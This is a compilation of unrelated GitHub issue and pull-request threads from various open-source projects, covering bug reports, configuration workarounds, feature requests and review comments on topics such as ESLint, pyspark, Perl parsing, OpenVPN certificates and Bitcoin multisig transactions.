Custom methods
render method

For now you can set up a custom configuration in your .eslintrc:
...
"react/sort-comp": [1, {
  "order": [
    "constructor",
    "lifecycle",
    "everything-else",
    "render"
  ]
}]
...

Sounds great! And thanks for the workaround


Support crossvalidator persistence

Our customized CrossValidator which reuses the built-in read/write of pyspark CrossValidator has been broken. The root cause is the read process tries to load spark_rapids_ml.tuning.CrossValidator from JVM domain because of pyspark hardcoding checking whether it is a python module according to the class name starting with "pyspark.ml" or not. Obviously, our customized CrossValidator starts from "spark_rapids_ml", so the read process tries to load it in JVM domain and finally finds nothing and throws the exception.

build

build

@leewyang @eordentlich could you help to review it?


Removed "@returns {undefined}" - Issue #6265

Welcome to the Cesium community @gabriel-macario!
Can you please send in a Contributor License Agreement (CLA) so that we can review and merge this pull request?
:warning: I noticed that CHANGES.md has not been updated. If this change updates the public API in any way, fixes a bug, or makes any non-trivial update, please add a bullet point to CHANGES.md and comment on this pull request so we know it was updated. For more info, see the Pull Request Guidelines.

I am a bot who helps you make Cesium awesome! Contributions to my configuration are welcome.
:earth_africa: :earth_americas: :earth_asia:


Include chemiscope in docs using sphinx

It would be very nice to be able to include "passive" chemiscope viewers into autogenerated documentations, using sphinx or perhaps nbsphinxgallery.

I think that generating a static image is the best way to proceed, if it's easy to do. The level of interactivity of the embedded ipywidgets is very limited in all cases because you can't really use the evenfullness outside individual widgets.

The sphinx-gallery seems to be the easiest one to fix: we mainly need to add a __repr_html__ function to ChemiscopeWidget and friends,
https://github.com/lab-cosmo/chemiscope/blob/9b5c9b12b1b005a599488bf867a69d02f8c823e0/python/chemiscope/jupyter.py#L60
containing the same kind of HTML as the one we are using from the JS side:
https://github.com/lab-cosmo/chemiscope/blob/9b5c9b12b1b005a599488bf867a69d02f8c823e0/python/jupyter/src/widget.ts#L108-L134
The remaining question is how to insert the chemiscope javascript in there. We could load it from https://chemiscope.org, or one of the CDN based on top of npm?

This would be very useful. Not sure if you already know this ..ngl  viewers are possible to be included in the sphinxdoc directly from.notebook render without any additional steps.

This is now fully implemented cf #340  and #341


Added Lesion QC for Preprocessing

This PR introduces a QC script qc_preprocess.py which i) logs resolutions and sizes for each subject image for data exploration, ii) perform basic shape checks for images and ground-truths (GTs), and most importantly iii)  checks if the dilated SC mask leaves out any lesions from the GT of each rater.
To run the mentioned QC, call: python preprocessing/qc_preprocess.py -s <SCT_OUTPUT_PATH> where SCT_OUTPUT_PATH is the folder generated with sct_run_batch and it contains the data_processed folder.
Using the current preprocessing strategy in the um/preprocessing_clean_output branch and running qc_preprocess.py on the preprocessed data, we get the following output:
Could not find cropped image for the following subjects:  ['sub-P004', 'sub-P006', 'sub-P011', 'sub-P017']
Found shape mismatch in images and GTs for the following subjects:  []
ALERT: Lesion(s) from raters cropped during preprocessing for the following subjects:  ['sub-P010', 'sub-P012', 'sub-P014', 'sub-P016', 'sub-P023', 'sub-P025', 'sub-P027', 'sub-P028', 'sub-P033']

It is important to notice that we are leaving out lesion regions from quite a few subjects. We will have to explore this ASAP and find a mitigation strategy as discussed before.
Running the same preprocessing strategy but with centerline extraction method of SVM (i.e. the default option) yields:
Could not find cropped image for the following subjects:  []
Found shape mismatch in images and GTs for the following subjects:  []
ALERT: Lesion(s) from raters cropped during preprocessing for the following subjects:  ['sub-P006', 'sub-P010', 'sub-P012', 'sub-P016', 'sub-P017', 'sub-P025', 'sub-P027', 'sub-P028', 'sub-P033']

It might also be relevant to note that in both cases almost all of the left out lesion annotations belong to the second rater (i.e. *_UNIT1_lesion-manual2.nii.gz).
After reviewing and manually correcting the SC segmentations as mentioned in #14 and #6, the left-out lesions are no longer a major problem as they are outside of the spinal cord. More on this can be found on #13.

@jcohenadad No overlap as far as I can think!


Missing steps

There are some steps in the deployment that are missing in the article.  (This may not be a complete list...)

"Publish this environment to Dynamics 365 home page"
"Configure Power Platform Environment"
Signature

It would be helpful if all of the steps were listed in the article with short explanations.
Also, step 7 states:

Select from a list of available AOT packages (customization packages) on the Software Deployable tabs in the Asset Library if you want to apply customizations. Only packages generated from a build environment on version 8.1 and above should be selected. Applying a package from an incompatible version will have an adverse effect on the environment.

... but I don't recall that step being in the deployment when I ran it just now.
Thanks!

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: e9d684ec-511b-b80e-bc2f-700804abe720
Version Independent ID: 72f50796-990d-d9c0-7e52-52f12d24af90
Content: Deploy a new environment - Finance & Operations | Dynamics 365
Content Source: articles/fin-ops-core/dev-itpro/deployment/deployenvironment-newinfrastructure.md
Service: dynamics-365-cross-app
Product: ****
Technology: ****
GitHub Login: @rashmansur
Microsoft Alias: rashmim

@danielzook, thanks for the feedback. @rashmansur, please review and consider making updates.

Bug 585606 logged to track this issue.


It takes about 15 seconds to display the connected public emulator blob container on the tree view

Storage Explorer Version: 1.17.0
Build Number: 20210109.1
Branch: main
Emulator: Azurite 3.10.0, Microsoft Azure Storage Emulator 5.10.0
Platform/OS: Windows 10
Architecture:  ia32
Regression From: Previous release (1.17.0)
Steps to Reproduce

Install and run 'Microsoft Azure Storage Emulator 5.10.0' -> Open Storage Explorer.
Expand the node 'Local & Attached' -> 'Storage Accounts' -> (Emulator - Default Ports) (Key) -> Blob Containers.
Create a blob container -> Set its public access level to 'container'.
Connect the blob container to public blob container.
Observe whether the connected blob container displays on the tree view immediately.

Expected Experience
The connected blob container displays on the tree view immediately .
Actual Experience
It takes about 15 seconds to display the connected public emulator blob container on the tree view. The specific details please see the record.

Additional Context
This issue doesn't reproduce when using Azurite 3.10.0.

I investigated this bug. The slowdown is a result of switching to a newer API to see if HNS is enabled. That API is not supported by the .NET emulator, so it takes time to call the API -> fail -> retry -> fail -> retry -> etc.
@v-xianya based on this, we expect that you may notice other things in the tree view which are now slow for the .NET emulator. If you notice something, check if it is also slow for Azurite and report that in the bug. There is no need however to go looking for these bugs. Thanks!

I investigated this bug. The slowdown is a result of switching to a newer API to see if HNS is enabled. That API is not supported by the .NET emulator, so it takes time to call the API -> fail -> retry -> fail -> retry -> etc.
@v-xianya based on this, we expect that you may notice other things in the tree view which are now slow for the .NET emulator. If you notice something, check if it is also slow for Azurite and report that in the bug. There is no need however to go looking for these bugs. Thanks!

@MRayermannMSFT
Got it. thanks for the update! if we notice there is something slow on the tree view for the .NET Emulator. we will report it.

@MRayermannMSFT
Got it. thanks for the update! if we notice there is something slow on the tree view for the .NET Emulator. we will report it.


Android 6.0 Moto X Not working

Version of Boardwalk: 1.1
Version of Android: 6.0
Device model: XT1563 (Moto X Play)
Description of the problem: App loads but crashes upon game startup.

Android 6.0 has compatibility issues, i just realized. It may take some time before the issue is fixed...

Fixed the issue. Installed 1.0.7 problem solved


purge useless npm deps before installing

requires https://github.com/theforeman/foreman/pull/9255 and is completely untested :)

:fireworks: :man_dancing:

Since this provides a significant speed up I am happy to merge and then re-factor. As the author of the change, I'll let you have final say which order you want to go in.

Merge away


fix: adjust event-related typehints

About
Polls, this isn't how the Coroutine typehint works--
Anyways, this PR fixes a huge amount of event-related typehints by using AsyncCallable as appropriate. Nothing else to really say, it makes my own bots look a lot less red though.
Checklist

[x] The pre-commit code linter has been run over all edited files to ensure the code is linted.
[x] I've ensured the change(s) work on 3.8.6 and higher.
[ ] I have added the versionadded, versionchanged and deprecated to any new or changed user-facing function I committed.

Pull-Request specification
I've made this pull request: (check all that apply)

[ ] For the documentation
[ ] To add a new feature
[x] As a general enhancement
[x] As a refactor of the library/the library's code
[x] To fix an existing bug
[ ] To resolve #ISSUENUMBER

This is:

[ ] A breaking change

Let's be honest, past me found something mostly acceptable and ran with it. In retrospect, I should have looked into it more, but type-hinting was always an afterthought for me ;)

Check failure unrelated. Merging


Incorrect cell cluster mapping in mantis

Please refer to our FAQ and look at our known issues before opening a bug report.
Describe the bug
Currently, the cell_cluster_mask.csv that is generated and loaded into mantis does not contain the correct integer IDs for each cell cluster.
Expected behavior
When we updated the way we generate cell_masks to allow for colored masks, the integer IDs for the clusters changed.
If before they were [1,4,10] they are now [1,2,3]. The currently saved cell_meta_cluster_mapping.csv does not reflect this change.
To Reproduce
Run cell clustering and create new metaclusters.

I was wondering whether this is now fixed in the newest release? I downloaded the latest version but am still experiencing the issue of incorrect cluster mapping in Mantis.

Hi @janinemelsen, the fix has just been merged into main! I was not included in the latest release, but if you're running ark from a local environment just pull the repository and update your environment!


after update some strange design issues....

card:
  max: 100
  min: 0
  positions:
    icon: 'off'
    indicator: inside
    title: outside
  severity:
    - color: 'rgb(150,0,0)'
      from: 0
      to: 9
    - color: 'rgb(163,23,0)'
      from: 10
      to: 19
    - color: 'rgb(195,74,0)'
      from: 20
      to: 29
    - color: 'rgb(231,134,0)'
      from: 30
      to: 39
    - color: 'rgb(255,185,0)'
      from: 40
      to: 49
    - color: 'rgb(255,215,0)'
      from: 50
      to: 59
    - color: 'rgb(219,216,0)'
      from: 60
      to: 69
    - color: 'rgb(167,207,0)'
      from: 70
      to: 79
    - color: 'rgb(92,182,0)'
      from: 80
      to: 89
    - color: 'rgb(35,161,0)'
      from: 90
      to: 99
    - color: 'rgb(0,150,0)'
      from: 100
      to: 100
  style: |-
    bar-card-value {
      margin-right: 7px;
      font-weight: bold;
    }
    bar-card-title {
      margin-left: 0px;
      margin-right: 2x;
      text-align: left;
    }
  type: 'custom:bar-card'
  width: 63%
filter:
  include:
    - entity_id: sensor.ssid_*
sort:
  method: name
type: 'custom:auto-entities'

and it looks like:

pls advise.

I will have to fix this since this shouldn't be happening. But for you can do this:
  style: |-
    bar-card-value {
      margin-right: 7px;
      font-weight: bold;
    }
    bar-card-title {
      width: 37%;
      justify-content: flex-start;
      align-text: left;
      margin: 0px 4px;
    }
    bar-card-indicator {
      left: 20px;
    }

@Gluwc thanx.
now it looks like this

Sorry made a mistake.
align-text: left;

should be:
text-align: left;

@Gluwc THANK YOU!


Export ViteConfig so code using ViteExpress can statically type the inlineConfig

Currently I'm creating inlineConfig only if I have certain given environment variables:

Without ViteConfig TS complains about my inline config object.

Hi @odahcam, sorry for the delay. I think it would absolutely make sense to expose this type to the user but it isn't as easy as I though as I'm struggling with type definition generation. I guess I could just write types by hand as the API isn't changing that much nowadays but I'm not a big fan of this idea because code would no longer be the source of truth for the type declaration file.
I'll look into it a little bit more and I'll try to come back with something!


Incorrect interpolation of braced variable followed by [

I've seen a case where a variable inside of a regex that also has single quote characters in square brackets causes a parse error. Here is a smaller example to reproduce.
#!/usr/bin/perl

$var = "test";
my $ok     = qr/['].+[']/m;
my $not_ok = qr/[']${var}[']/m;

(comment) ; [1:1 - 15]
(expression_statement) ; [3:1 - 13]
 (assignment_expression) ; [3:1 - 13]
  left: (scalar) ; [3:1 - 4]
   (varname) ; [3:2 - 4]
  right: (interpolated_string_literal) ; [3:8 - 13]
(expression_statement) ; [4:1 - 26]
 (assignment_expression) ; [4:1 - 26]
  left: (variable_declaration) ; [4:1 - 6]
   variable: (scalar) ; [4:4 - 6]
    (varname) ; [4:5 - 6]
  right: (quoted_regexp) ; [4:14 - 26]
   content: (regexp_content) ; [4:17 - 24]
   modifiers: (quoted_regexp_modifiers) ; [4:26 - 26]
(ERROR) ; [5:1 - 6:0]
 (variable_declaration) ; [5:1 - 10]
  variable: (scalar) ; [5:4 - 10]
   (varname) ; [5:5 - 10]
 (scalar) ; [5:20 - 25]
  (varname) ; [5:22 - 24]

Thanks so much for this bug report!
The issue here is actually that TSP is trying to parse ${var}[ as array access on @var, which is incorrect. If you do the following:
qr/${var}[0]/m;

you can see the wrong parse in action:
(source_file [0, 0] - [3, 0]
  (comment [0, 0] - [0, 19])
  (expression_statement [2, 0] - [2, 14]
    (quoted_regexp [2, 0] - [2, 14]
      content: (regexp_content [2, 3] - [2, 12]
        (array_element_expression [2, 3] - [2, 12]
          array: (container_variable [2, 3] - [2, 9]
            (varname [2, 5] - [2, 8]))
          index: (number [2, 10] - [2, 11])))
      modifiers: (quoted_regexp_modifiers [2, 13] - [2, 14]))))

I will get this fixed sometime in the near future.
Please keep the bugs rolling in!

The problem with these things is that my current syntax highlighter gets this wrong also, so it's not immediately apparent in everyday use.
Fix incoming in a few minutes

amazing thanks!


Add config for redirect to a canonical host from a non-canonical host

Adds a config variable, CANONICAL_HOST_REDIRECT, to enable redirect to a canonical host from a non-canonical host. Canonical host is deduced from a BASE_URL config variable.
This is helpful on Heroku when running Miniflux at a custom domain to redirect from a *.herokuapp.com domain.

I don't get it. What is a canonical host in this context? Can you please provide a more detailed example to understand the use-case?


make CPU backend auto-register

OK - looks like the codegen is not installed at all! Given the combination of features and flags - there should be unit tests to catch this.

There was an issue with codegen where it would not be installed even if it was depended on by some other library. This was fixed in PR #1482
If nothing in the build depends on codegen then it is not built nor installed. This is the intended behavior.

I just checked and after merging master into this PR codegen is built and installed if it is needed and not built or installed if it is not needed. This is the correct behavior.


Tekla: Fix AssemblyVersion for Installer

Description

Fixes installer

Type of change

Bug fix (non-breaking change which fixes an issue)

How has this been tested?

Tests not required

Docs

No updates needed

Skipping team review as this has been discussed on Discord.


same train config but different performance

Thank you for this perfect projects!
I have made some experiments: with same seettings(code) but get different results.
SiamFC-3s-color-scratch:
train_config                                  | TB50    | TB100 | OTB2013
momentum、momentum0.9        | 51.14   | 58.13  | 60.41
momentum、momentum0.9_2nd | 50.52   | 57.08  | 59.12
momentum、momentum0.9_3rd  | 51.76   | 57.43  | 59.12
In this project, many "fix seed for reproducing experiments", but I cannot reproducing my results.
I only rename the RUN_NAME = 'SiamFC-3s-color-scratch' with different name. Is there something I missing?
I also have some questions about config:
a.  'num_examples_per_epoch': 5.32e4, I don't understanding how to get this num(5.32e4)
b. when I debug this code, using (ipdb), but something wrong
python -m ipdb ./experiments/SiamFC-3s-color-scratch.py
train_siamese_model.py:90
[[14;1RERROR - SiamFC-3s-color-scratch-train_val_15_17_3rd - Failed after 0:00:00!
Traceback (most recent call last):
File "/home/users/buyingjia/.local/virenv/tf/lib/python2.7/site-packages/ipdb/main.py", line 169, in main
pdb._runscript(mainpyfile)
File "/usr/lib/python2.7/pdb.py", line 1233, in _runscript
self.run(statement)
File "/usr/lib/python2.7/bdb.py", line 400, in run
exec cmd in globals, locals
File "", line 1, in
File "./experiments/SiamFC-3s-color-scratch.py", line 29, in
'--enforce_clean': False,
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/sacred/experiment.py", line 209, in run
run()
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/sacred/run.py", line 221, in call
self.result = self.main_function(*args)
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/sacred/config/captured_function.py", line 46, in captured_function
result = wrapped(*args, **kwargs)
File "./experiments/../train_siamese_model.py", line 90, in main
train_dir = train_config['train_dir']
File "./experiments/../train_siamese_model.py", line 90, in main
train_dir = train_config['train_dir']
File "/usr/lib/python2.7/bdb.py", line 49, in trace_dispatch
return self.dispatch_line(frame)
File "/usr/lib/python2.7/bdb.py", line 67, in dispatch_line
self.user_line(frame)
File "/usr/lib/python2.7/pdb.py", line 158, in user_line
self.interaction(frame, None)
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/IPython/core/debugger.py", line 288, in interaction
OldPdb.interaction(self, frame, traceback)
File "/usr/lib/python2.7/pdb.py", line 210, in interaction
self.cmdloop()
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/IPython/terminal/debugger.py", line 96, in cmdloop
line = self.pt_cli.run(reset_current_buffer=True).text
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/prompt_toolkit/interface.py", line 425, in run
self._redraw()
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/prompt_toolkit/interface.py", line 358, in _redraw
self.renderer.render(self, self.layout, is_done=self.is_done)
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/prompt_toolkit/renderer.py", line 405, in render
size = output.get_size()
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/prompt_toolkit/terminal/vt100_output.py", line 426, in get_size
rows, columns = _get_size(stdout.fileno())
File "/home/users/buyingjia/.local/virenv/tf/local/lib/python2.7/site-packages/prompt_toolkit/terminal/vt100_output.py", line 365, in _get_size
fcntl.ioctl(fileno, termios.TIOCGWINSZ, buf)
IOError: [Errno 25] Inappropriate ioctl for device
Uncaught exception. Entering post mortem debugging
Running 'cont' or 'step' will restart the program
Thank you in advance!

Hi,
Totally Deterministic training is challenging as small differences during training will be amplified after hunderds of thousands of training iterations. However, the performance should be stable in the sense that you can get results slightly better or worse than reported for each run.


Support for NuGet CPM option from within VS IDE

Support for NuGet CPM option from within VS IDE

This feature is now available in the following releases:
CLI Templates - VijayAnand.FormsTemplates - v1.8.0
VS Extension - Xamarin.Forms Project and Item Templates - v<IP_ADDRESS>


Limit client key CN to 64 characters

X.509 CN has a max length of 64: https://tools.ietf.org/html/rfc5280#appendix-A.1
This fails my run on:
problems making Certificate Request ... asn1 encoding routines:ASN1_mbstring_ncopy:string too long:a_mbstr.c:158:maxsize=64

This will conflict with https://github.com/kyl191/ansible-role-openvpn/blob/master/templates/server.conf.j2#L68, breaking the cert check.

Thanks! I didn't think to check. I'll fix all of them later today or tomorrow.

And done.
I've also limited the CA and Server cert CNs to 64 chars. As you said, less important, but at least now this can never be a problem.

LGTM, thanks!


AS a user, I want the bot to be able to watch rss feeds and send new entries to a channel

AS a user, I want the bot to be able to watch rss feeds and send new entries to a channel
SO THAT I can have the bot auto post news, etc. on an rss update
Acceptance Criteria
AS a moderator
GIVEN I add an rss link to a configuration
WHEN the bot scans the given links
THEN the bot will post these to a specific channel
AS a moderator
GIVEN I want to add an rss link to a channel
WHEN I run /rss add <name> <link> <channel>
THEN the bot will add this link to the database
AS a moderator
GIVEN I want to remove an rss link from a channel
WHEN I run /rss remove <name>
THEN the bot will remove this link from the database
Subtasks

[ ] Add rss feed database table
[ ] Add /rss add command
[ ] Add /rss remove command
[ ] Auto fetch RSS every x interval
[ ] Update tests

Notes

The fetch interval should be configurable globally

Need to investigate how to do this


Filtering bam files using sambamba without losing primary alignment of multimapping reads

Hi
I tried samabamba filtering using [AS] > [XS] but sambamba does not seem to like this. The reason I tried was that I wanted to retain the primary alignment of multimapping reads (i.e. where one alignment has a better score: see Devon Ryan's comments at http://seqanswers.com/forums/showthread.php?t=39206). In the end I did a separate filter using [AS] == 0 and [XS] < 0 together with a mapping quality filter to pull out primaries for multimappers and then concatenated the bam file with a filtered bam file, made using [XS] == null.  It would be great to be able to carry out one filter step instead. If I am missing something here, any advice would be greatly appreciated. By the way, scavenging the multimappers makes a big difference when it comes to enzymes with paralogs and to sub-telomeric loci.

Just to clarify: this relates to BAM files produced using the ChIP-seq pipeline. The relevant filter line seems to be this one: https://github.com/bcbio/bcbio-nextgen/blob/master/bcbio/ngsalign/bowtie2.py#L91

Derek and Alex;
Thanks much for the report and details. I'm happy to adjust this to match your needs but not entirely sure what you're proposing. Do we need a tweak to the ChIP-seq pipeline when running bowtie2? If this is more of a general sambamba question it might be best to ask on their issue tracker (https://github.com/biod/sambamba/issues) as I'm not entirely familiar with the sambamba logic here and they'd be a better source of suggestions.

Thanks Brad,
Alex encountered this problem while using the pipeline and I came across it while using sambamba on a Mac. I will drop a line to the sambamba people as you suggest and see if they can sort this out.
Regards,
Derek


Automatically load first command in repl

I also tried (and failed) to get this working. Unfortunately this solution breaks tab completion in the repl :(

That's a bummer, closing this.


new overflow in ef-tests

Describe the bug
Thanks for fixing the error https://github.com/paradigmxyz/reth/issues/5582#issue-2011882081 , when I continued to execute this test command, an overflow error occurred
test general_state_tests::st_transaction has been running for over 60 seconds
thread '' has overflowed its stack
fatal runtime error: stack overflow
error: test failed, to rerun pass -p ef-tests --test tests
Caused by:
process didn't exit successfully: /work/reth-latest/target/debug/deps/tests-70d68ede21234e08 (signal: 6, SIGABRT: process abort signal)
Steps to reproduce
cargo test -p ef-tests --features ef-tests
Node logs
No response
Platform(s)
No response
What version/commit are you on?
No response
What database version are you on?
No response
What type of node are you running?
None
What prune config do you use, if any?
No response
If you've built Reth from source, provide the full command you used
No response
Code of Conduct

[ ] I agree to follow the Code of Conduct

Cannot reproduce as of today
❯ cargo test -p ef-tests --features ef-tests
[...]

    Finished test [unoptimized + debuginfo] target(s) in 22.78s
     Running unittests src/lib.rs (target/debug/deps/ef_tests-43c58067bc434a77)

running 2 tests
test models::test::header_deserialize ... ok
test models::test::transaction_deserialize ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s

     Running tests/tests.rs (target/debug/deps/tests-f41761b0e9bcf094)

running 57 tests
test general_state_tests::st_call_codes ... ok
test general_state_tests::st_args_zero_one_balance ... ok
test general_state_tests::st_bad_opcode ... ok
test general_state_tests::st_code_copy_test ... ok
test general_state_tests::st_call_delegate_codes_homestead ... ok
test general_state_tests::st_call_create_call_code ... ok
test general_state_tests::st_attack ... ok
test general_state_tests::st_bugs ... ok
test general_state_tests::st_chain_id ... ok
test general_state_tests::st_code_size_limit ... ok
test general_state_tests::shanghai ... ok
test general_state_tests::st_call_delegate_codes_call_code_homestead ... ok
test general_state_tests::st_create ... ok
test general_state_tests::st_create2 ... ok
test general_state_tests::st_delegate_call_test_homestead ... ok
test general_state_tests::st_eip150 ... ok
test general_state_tests::st_eip150_gas_prices ... ok
test general_state_tests::st_eip1559 ... ok
test general_state_tests::st_eip158 ... ok
test general_state_tests::st_eip2930 ... ok
test general_state_tests::st_eip3607 ... ok
test general_state_tests::st_example ... ok
test general_state_tests::st_ext_codehash ... ok
test general_state_tests::st_homestead ... ok
test general_state_tests::st_log ... ok
test general_state_tests::st_mem_expanding_eip150_calls ... ok
test general_state_tests::st_init_code ... ok
test general_state_tests::st_memory ... ok
test general_state_tests::st_memory_stress ... ok
test general_state_tests::st_non_zero_calls ... ok
test general_state_tests::st_precompiles ... ok
test general_state_tests::st_precompiles2 ... ok
test general_state_tests::st_quadratic_complexity ... ok
test general_state_tests::st_random ... ok
test general_state_tests::st_random2 ... ok
test general_state_tests::st_recursive_create ... ok
test general_state_tests::st_refund ... ok
test general_state_tests::st_return ... ok
test general_state_tests::st_revert ... ok
test general_state_tests::st_self_balance ... ok
test general_state_tests::st_shift ... ok
test general_state_tests::st_sload ... ok
test general_state_tests::st_special ... ok
test general_state_tests::st_solidity ... ok
test general_state_tests::st_sstore ... ok
test general_state_tests::st_stack ... ok
test general_state_tests::st_static_call ... ok
test general_state_tests::st_static_flag ... ok
test general_state_tests::st_system_operations ... ok
test general_state_tests::st_time_consuming ... ok
test general_state_tests::st_transaction ... ok
test general_state_tests::st_wallet ... ok
test general_state_tests::st_zero_calls ... ok
test general_state_tests::st_zero_calls_revert ... ok
test general_state_tests::st_zero_knowledge ... ok
test general_state_tests::st_zero_knowledge2 ... ok
test general_state_tests::vm_tests ... ok

test result: ok. 57 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.01s

   Doc-tests ef-tests

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s


dev: improve versioning and releasing

Currently, versioning and releasing has to be done manually, which is not the best solution and prone to error.
Possible solution: Write a script that makes a release and pushes a new tag on GitHub of course while increments the version
Alternative solution: Search for a package that does that.

:tada: This issue has been resolved in version 1.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Unable to send raw transaction: Signature must be zero for failed CHECK(MULTI)SIG operation

When I send a raw transaction I get an error:
16: mandatory-script-verify-flag-failed (Signature must be zero for failed CHECK(MULTI)SIG operation)
Raw transaction that I send:
0200000001d18e181dc31f713573785c4434b70c415b407e200959f10d24a5eee72a4bae3401000000da00473044022038b7aaf811db578a0b62b1ff69f7b2a6054cd9b770275b292ff63bb6b6faa96902202ffa91a950c8976722284a0bcd3ad9c54e11e441f9f632c3dd76f9174f1d0c0a01483045022100a3c48312f94652269b6e23b3e48ead21b788a2d162205d9ba4c01c9cddfc9ea70220772828f03307eaf90cc17f12f2f97e8424ff5f5311839b4095f775813cb2dada014752210283910b39cc9fab5ca7ad622dbe4a09e13ce53232b8695f96315c6e90c64c526e2103e88f91c7e130cc2f760d82b8135af8ec493860b0943649c65e0daf8b3b5a945552aeffffffff01962af4050000000017a9146fb7855fc9f0fcad63dacb27103f3ee6089b65408700000000
This raw transaction decoded:
{
  "txid": "e63230d2b56bec46ab1273f0962f0fce43248fb1acbd7214be5a319b53fc170e",
  "hash": "e63230d2b56bec46ab1273f0962f0fce43248fb1acbd7214be5a319b53fc170e",
  "version": 2,
  "size": 301,
  "vsize": 301,
  "locktime": 0,
  "vin": [
    {
      "txid": "34ae4b2ae7eea5240df15909207e405b410cb734445c787335711fc31d188ed1",
      "vout": 1,
      "scriptSig": {
        "asm": "0<PHONE_NUMBER>b7aaf811db578a0b62b1ff69f7b2a6054cd9b770275b292ff63bb6b6faa96902202ffa91a950c8976722284a0bcd3ad9c54e11e441f9f632c3dd76f9174f1d0c0a[ALL]<PHONE_NUMBER>a3c48312f94652269b6e23b3e48ead21b788a2d162205d9ba4c01c9cddfc9ea70220772828f03307eaf90cc17f12f2f97e8424ff5f5311839b4095f775813cb2dada[ALL]<PHONE_NUMBER>0b39cc9fab5ca7ad622dbe4a09e13ce53232b8695f96315c6e90c64c526e2103e88f91c7e130cc2f760d82b8135af8ec493860b0943649c65e0daf8b3b5a945552ae",
        "hex": "00473044022038b7aaf811db578a0b62b1ff69f7b2a6054cd9b770275b292ff63bb6b6faa96902202ffa91a950c8976722284a0bcd3ad9c54e11e441f9f632c3dd76f9174f1d0c0a01483045022100a3c48312f94652269b6e23b3e48ead21b788a2d162205d9ba4c01c9cddfc9ea70220772828f03307eaf90cc17f12f2f97e8424ff5f5311839b4095f775813cb2dada014752210283910b39cc9fab5ca7ad622dbe4a09e13ce53232b8695f96315c6e90c64c526e2103e88f91c7e130cc2f760d82b8135af8ec493860b0943649c65e0daf8b3b5a945552ae"
      },
      "sequence":<PHONE_NUMBER>
    }
  ],
  "vout": [
    {
      "value": 0.99887766,
      "n": 0,
      "scriptPubKey": {
        "asm": "OP_HASH160 6fb7855fc9f0fcad63dacb27103f3ee6089b6540 OP_EQUAL",
        "hex": "a9146fb7855fc9f0fcad63dacb27103f3ee6089b654087",
        "reqSigs": 1,
        "type": "scripthash",
        "addresses": [
          "2N3RvqqdX1ou9brMRThsr9hdJpHXPkDGXt9"
        ]
      }
    }
  ]
}

UTX that raw transaction tries to spend:
34ae4b2ae7eea5240df15909207e405b410cb734445c787335711fc31d188ed1
UTX pubKey script section:
a9146fb7855fc9f0fcad63dacb27103f3ee6089b654087
ScriptSig:
00473044022038b7aaf811db578a0b62b1ff69f7b2a6054cd9b770275b292ff63bb6b6faa96902202ffa91a950c8976722284a0bcd3ad9c54e11e441f9f632c3dd76f9174f1d0c0a01483045022100a3c48312f94652269b6e23b3e48ead21b788a2d162205d9ba4c01c9cddfc9ea70220772828f03307eaf90cc17f12f2f97e8424ff5f5311839b4095f775813cb2dada014752210283910b39cc9fab5ca7ad622dbe4a09e13ce53232b8695f96315c6e90c64c526e2103e88f91c7e130cc2f760d82b8135af8ec493860b0943649c65e0daf8b3b5a945552ae
When I debug a script with online debugger it executes well: http://paulkernfeld.com/bse/
Online debugger is unhappy about last opcode 0x87 OP_EQUAL, but it may be the debugger limitation only:
a9146fb7855fc9f0fcad63dacb27103f3ee6089b654087
What is wrong with my raw transaction that I try to broadcast?
Why does OP_CHECKMULTISIG fail?
I think that OP_CHECKMULTISIG comes from redeemScript:
52210283910b39cc9fab5ca7ad622dbe4a09e13ce53232b8695f96315c6e90c64c526e2103e88f91c7e130cc2f760d82b8135af8ec493860b0943649c65e0daf8b3b5a945552ae
The redeemScript decoded:
2 0283910b39cc9fab5ca7ad622dbe4a09e13ce53232b8695f96315c6e90c64c526e 03e88f91c7e130cc2f760d82b8135af8ec493860b0943649c65e0daf8b3b5a9455 2 OP_CHECKMULTISIG
I played with signatures order but it didn't help.

I'm having the exact same issue and didn't find a solution yet.
What coin are you working on?


Todo tree extension

todo-tree: /bin/sh: 1: /src/build/code-server2.1523-vsc1.38.1-linux-x86_64-built/node_modules/vscode-ripgrep/bin/rg: not found

code-server version: 2.1523-vsc1.38.1-linux-x86_64
OS Version: Ubuntu
Extension: todo tree

Description
When I open vscode I get this error
todo-tree: /bin/sh: 1: /src/build/code-server2.1523-vsc1.38.1-linux-x86_64-built/node_modules/vscode-ripgrep/bin/rg: not found

I've tries to install this dependency in the extension package itself,but it doesn't solve the issue

I'm not sure how we're going to solve this one. The extension tries to find ripgrep but it's not going to be there. We can't execute binaries within our binary so we copy it out to /tmp and run it from there.
Setting todo-tree.ripgrep.ripgrep to /tmp/code-server/rg would be a workaround. In a future release we'll be moving it to $XDG_CACHE_DIR/code-server/rg though.
Maybe we could pre-populate this setting or maybe we can do some kind of injection at run time with the correct path somehow.

As code-asher suggested, I managed to fix this by adding -
"todo-tree.ripgrep.ripgrep": "/tmp/code-server/tg"
to the settings.
After that I had another error when opening the Tree tab which I fixed by creating a "/globalStorage/gruntfuggly.todo-tree" directory where it couldn't find one.


Allow importer to use larger images

This should fix #608 and the related issue... I hope

Finally fixed it. Thanks for the tip @DNA :smile:

Is it guaranteed that there will be an image with that suffix? Looks great otherwise

Yeah, I've been checking a lot of entries and all of them have the larger source images

Awesome, I'll get this merged later tonight.

Um... Oops so this slipped my mind.


Run daily UI tests against production as a cron job

We've had a bunch of issues recently reported by our users -- for instance #97, #89, #83, etc.  This PR adds a cron job that runs on GitHub actions and checks the UI for exceptions. Failed builds would be notified on GitHub and not on Slack, but this may be a good first step for us to proactively find issues and fix them, instead of discovering issues only when reported by our users.
